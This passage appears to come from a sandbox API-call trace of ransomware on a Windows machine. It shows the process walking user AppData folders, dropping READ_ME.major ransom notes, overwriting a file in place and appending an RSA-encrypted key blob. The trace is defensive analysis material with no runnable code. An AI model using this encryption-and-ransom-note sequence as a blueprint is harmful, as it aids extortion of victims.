ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3219a487, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.687] FindNextFileW (in: hFindFile=0x2f2d798, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3219a487, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3219a487, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x321c0677, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.687] FindNextFileW (in: hFindFile=0x2f2d798, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3219a487, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3219a487, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x321c0677, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.687] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x321c0677, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2d098 [0207.687] FindNextFileW (in: hFindFile=0x2f2d098, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x321c0677, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.687] FindNextFileW (in: hFindFile=0x2f2d098, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x321c0677, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x321c0677, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x321c0677, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.687] FindNextFileW (in: hFindFile=0x2f2d098, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xb83449e5, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb83449e5, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="w7cr0hor.default", cAlternateFileName="W7CR0H~1.DEF")) returned 1 [0207.687] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1534 [0207.689] WriteFile (in: hFile=0x1534, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0207.690] CloseHandle (hObject=0x1534) returned 1 [0207.690] FindNextFileW (in: hFindFile=0x2f2d098, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xb83449e5, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb83449e5, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="w7cr0hor.default", cAlternateFileName="W7CR0H~1.DEF")) returned 0 [0207.691] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Sun\\Java\\Deployment\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad2cc5cd, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad2cc5cd, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x321c0677, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2d058 [0207.691] FindNextFileW (in: hFindFile=0x2f2d058, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad2cc5cd, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad2cc5cd, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x321c0677, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.691] FindNextFileW (in: hFindFile=0x2f2d058, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x321c0677, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x321c0677, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x321c0677, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.691] FindNextFileW (in: hFindFile=0x2f2d058, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x321c0677, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x321c0677, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x321c0677, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.691] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b8a348b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b8a348b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3227f26f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2d818 [0207.691] FindNextFileW (in: hFindFile=0x2f2d818, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b8a348b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b8a348b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3227f26f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.691] FindNextFileW (in: hFindFile=0x2f2d818, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b8a348b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b8a348b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b8a348b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x255e, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AcroFnt15.lst", cAlternateFileName="ACROFN~1.LST")) returned 1 [0207.691] FindNextFileW (in: hFindFile=0x2f2d818, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3227f26f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3227f26f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3227f26f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.691] FindNextFileW (in: hFindFile=0x2f2d818, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3227f26f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3227f26f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3227f26f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.691] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0207.691] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst", dwFileAttributes=0x80) returned 1 [0207.692] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\cache\\acrofnt15.lst"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x153c [0207.692] GetFileSizeEx (in: hFile=0x153c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=9566) returned 1 [0207.692] ReadFile (in: hFile=0x153c, lpBuffer=0x2f35020, nNumberOfBytesToRead=0x255e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f35020*, lpNumberOfBytesRead=0x2e3f9b4*=0x255e, lpOverlapped=0x0) returned 1 [0207.727] SetFilePointer (in: hFile=0x153c, lDistanceToMove=-9566, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0207.728] WriteFile (in: hFile=0x153c, lpBuffer=0x2f37588*, nNumberOfBytesToWrite=0x255e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f37588*, lpNumberOfBytesWritten=0x2e3f9b4*=0x255e, lpOverlapped=0x0) returned 1 [0207.728] SetFilePointer (in: hFile=0x153c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x255e [0207.728] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0207.728] WriteFile (in: hFile=0x153c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0207.728] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0207.728] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0207.728] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0207.728] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="j0qI80aJLJY8RzJPAOp81zMfJNm2f9nbycl1RrTFjdXVpXxBz/jDKlVQXEnhG4Q0\nJ8T8uhr1vQpLlgciOpuOEsz89pwGVGkzknsUcUjc90koZyZiQFBFd92AtLQm0kTt\n/SCblftX/H1FTkr/2nNOFOiH19wj3bect6CVV0fQjP54ameTcUk+QEcNRvVBYD/h\n4q5AFWC2HEU6hsSZUS1MxhHCBZEOwphD8CdteSE9HarrnSXbX3MbshQ3YQNl+cM4\n3c9ILjKjollze/2TUseuiiQo4QsNg+T7NKM2lm6kTIHLGaBK4Xew0v1GSnJveFQD\nUgcuAF5AnWBUs5nZsfRXiA==\n", pcchString=0x2e3f9a8) returned 1 [0207.729] WriteFile (in: hFile=0x153c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0207.729] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0207.729] WriteFile (in: hFile=0x153c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0207.729] CloseHandle (hObject=0x153c) returned 1 [0207.730] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8a08189, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xe8a08189, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x322a558b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2d118 [0207.731] FindNextFileW (in: hFindFile=0x2f2d118, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8a08189, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xe8a08189, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x322a558b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.731] FindNextFileW (in: hFindFile=0x2f2d118, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x322a558b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x322a558b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x322a558b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.731] FindNextFileW (in: hFindFile=0x2f2d118, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x322a558b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x322a558b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x322a558b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.731] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xd6a51047, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x32b58dac, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2d398 [0207.731] FindNextFileW (in: hFindFile=0x2f2d398, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xd6a51047, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x32b58dac, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.731] FindNextFileW (in: hFindFile=0x2f2d398, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a51047, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd780dd5d, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd780dd5d, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Cache", cAlternateFileName="")) returned 1 [0207.731] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1544 [0207.735] WriteFile (in: hFile=0x1544, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0207.736] CloseHandle (hObject=0x1544) returned 1 [0207.736] FindNextFileW (in: hFindFile=0x2f2d398, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x777b22bc, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Cookie", cAlternateFileName="")) returned 1 [0207.736] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cookie\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1544 [0207.737] WriteFile (in: hFile=0x1544, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0207.738] CloseHandle (hObject=0x1544) returned 1 [0207.738] FindNextFileW (in: hFindFile=0x2f2d398, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b57bf5, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x32b57bf5, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x32b5c7f4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.738] FindNextFileW (in: hFindFile=0x2f2d398, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b57bf5, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x32b57bf5, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x32b5c7f4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.738] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x32c035be, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2d198 [0207.738] FindNextFileW (in: hFindFile=0x2f2d198, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x32c035be, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.738] FindNextFileW (in: hFindFile=0x2f2d198, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32c035be, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x32c035be, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x32c035be, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.738] FindNextFileW (in: hFindFile=0x2f2d198, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32c035be, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x32c035be, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x32c035be, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.738] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a42fd3b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x32c035be, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2d158 [0207.738] FindNextFileW (in: hFindFile=0x2f2d158, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a42fd3b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x32c035be, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.738] FindNextFileW (in: hFindFile=0x2f2d158, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a42fd3b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a42fd3b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4a42fd3b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="metadata", cAlternateFileName="")) returned 1 [0207.739] FindNextFileW (in: hFindFile=0x2f2d158, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32c035be, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x32c035be, 